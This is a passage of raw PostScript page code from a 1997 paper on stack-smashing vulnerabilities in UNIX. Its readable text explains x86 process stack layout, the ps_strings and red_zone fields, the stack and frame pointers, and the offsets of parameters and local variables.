SET_CMYK GS n 2515 7640 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2734 7640 M (environment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3655 7640 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4336 7640 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4620 7640 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4968 7640 M (passed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5492 7640 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5701 7640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5984 7640 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6564 7640 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6884 7640 M (stored ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 7640 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7364 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1824 7364 M (\(argc, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2267 7364 M (argv, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2663 7364 M (env, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3003 7364 M (pointers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3597 7364 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3895 7364 M (strings\). ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4537 7364 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 4854 7364 M (ps_strings) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5684 7364 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5742 7364 M (structure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6383 7364 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6552 7364 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6915 7364 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7102 7364 M (report ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7088 M (information ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2082 7088 M (about ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2542 7088 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2836 7088 M (running ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3444 7088 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4035 7088 M (back ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4440 7088 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4660 7088 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4954 7088 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5323 7088 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5654 7088 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5884 7088 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6603 7088 M (system. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7241 7088 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1200 6812 M (red_zone) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1864 6812 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1917 6812 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2074 6812 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2194 6812 M (reserved ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2805 6812 M (field, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3198 6812 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3456 6812 M (present ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3983 6812 M (under ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4408 6812 M (certain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4907 6812 M (hardware ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5573 6812 M (architectures, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6512 6812 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6863 6812 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7038 6812 M (protect ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6536 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1468 6536 M (per-process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2292 6536 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2763 6536 M (stack. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3202 6536 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 3516 6536 M (red_zone) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4180 6536 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4235 6536 M (sits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4512 6536 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4687 6536 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4945 6536 M (highest ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5480 6536 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6091 6536 M (address, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6688 6536 M (relative ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7242 6536 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 6536 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6260 M (specific running process.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 5959 M (7.1 Intel x86 Implementation under the Linux Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 5676 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2019 5676 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2410 5676 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2930 5676 M (register ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3479 5676 M (\(SP\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3826 5676 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3986 5676 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4340 5676 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4518 5676 M (point ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4908 5676 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5086 5676 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5338 5676 M (top ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5599 5676 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5787 5676 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6039 5676 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6430 5676 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6645 5676 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6897 5676 M (Intel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7251 5676 M (x86 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5400 M (CPU ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1595 5400 M (family. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2171 5400 M (SP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2414 5400 M (holds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2831 5400 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3091 5400 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3648 5400 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3844 5400 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4104 5400 M (last ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4392 5400 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4726 5400 M (element ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5310 5400 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5496 5400 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5710 5400 M (added ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6164 5400 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6350 5400 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6546 5400 M (pushed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7074 5400 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 5400 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5124 M (stack. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1693 5124 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2007 5124 M (bottom ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2533 5124 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2727 5124 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2985 5124 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3382 5124 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3548 5124 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3723 5124 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3852 5124 M (fixed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4249 5124 M (address. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4888 5124 M (Its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5110 5124 M (size ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5424 5124 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5590 5124 M (dynamically ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6467 5124 M (adjusted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7076 5124 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 5124 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4848 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1684 4848 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1858 4848 M (run ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2134 4848 M (time. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2526 4848 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2839 4848 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3235 4848 M (consists ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3816 4848 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4009 4848 M (logical ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4515 4848 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4911 4848 M (frames ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5420 4848 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5723 4848 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5981 4848 M (pushed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6506 4848 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6920 4848 M (calling ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 4848 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4572 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1832 4572 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2141 4572 M (popped ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2699 4572 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3128 4572 M (returning. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3891 4572 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4219 4572 M (Intel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4593 4572 M (x86 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4911 4572 M (CPU ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5304 4572 M (implements ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6150 4572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 6422 4572 M (PUSH) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6822 4572 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6891 4572 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 7200 4572 M (POP) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 7500 4572 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4296 M (instructions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2049 4296 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2249 4296 M (perform ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2858 4296 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3271 4296 M (operations. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4119 4296 M (With ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4522 4296 M (each ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4898 4296 M (successive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 5672 4296 M (PUSH) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6072 4296 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6143 4296 M (operation, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6884 4296 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7158 4296 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4020 M (grows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1694 4020 M (downward ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2471 4020 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2675 4020 M (memory, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3348 4020 M (pointing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3976 4020 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4180 4020 M (lower ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4634 4020 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5265 4020 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5840 4020 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6054 4020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6332 4020 M (size ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6666 4020 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6880 4020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7158 4020 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3744 M (increases. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3468 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1897 3468 M (addition ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2495 3468 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2678 3468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2935 3468 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3331 3468 M (pointer, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3898 3468 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4358 3468 M (points ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4818 3468 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5001 3468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5258 3468 M (top ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5524 3468 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5717 3468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5974 3468 M (stack, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6412 3468 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6540 3468 M (frame ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6984 3468 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7177 3468 M (local ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3192 M (base ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1562 3192 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2090 3192 M (\(FP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2389 3192 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2585 3192 M (LB\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2911 3192 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3079 3192 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3404 3192 M (present ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3984 3192 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4447 3192 M (points ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4910 3192 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5096 3192 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5227 3192 M (fixed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5626 3192 M (location ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6218 3192 M (within ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6699 3192 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6830 3192 M (frame. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 3192 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2916 M (principle, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1893 2916 M (local ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2265 2916 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2915 2916 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3204 2916 M (parameters ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3985 2916 M (could ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4403 2916 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4609 2916 M (referenced ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5362 2916 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5577 2916 M (giving ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6050 2916 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6404 2916 M (offsets ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6898 2916 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7272 2916 M (SP. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2640 M (However, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1910 2640 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2094 2640 M (words ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2546 2640 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2795 2640 M (pushed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3311 2640 M (onto ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3651 2640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3899 2640 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4286 2640 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4571 2640 M (popped ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5105 2640 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5475 2640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5723 2640 M (stack, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6152 2640 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6539 2640 M (offsets ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7029 2640 M (change ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2364 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1500 2364 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1764 2364 M (held ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2110 2364 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2299 2364 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2433 2364 M (register ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2993 2364 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3358 2364 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3557 2364 M (EBP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3923 2364 M (\(32-bit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4436 2364 M (base ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4792 2364 M (pointer\). ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5463 2364 M (On ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5726 2364 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5989 2364 M (Intel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6354 2364 M (x86 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6663 2364 M (CPU, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7089 2364 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 2364 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2088 M (accomplished ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2201 2088 M (through ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2795 2088 M (multiple ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3426 2088 M (assembly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4123 2088 M (instructions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4976 2088 M (involving ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5689 2088 M (FP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5952 2088 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6269 2088 M (EBP. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6694 2088 M (Taking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7242 2088 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1812 M (consideration ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2184 1812 M (our ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2486 1812 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2908 1812 M (growth, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3501 1812 M (parameters ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4313 1812 M (will ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4651 1812 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5045 1812 M (positive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5651 1812 M (offsets ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6176 1812 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6496 1812 M (local ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6899 1812 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1536 M (negative offsets from FP. ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 14 14 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9848 M (When ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2160 9848 M (invoking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2802 9848 M (or ) ST GR 0.0000 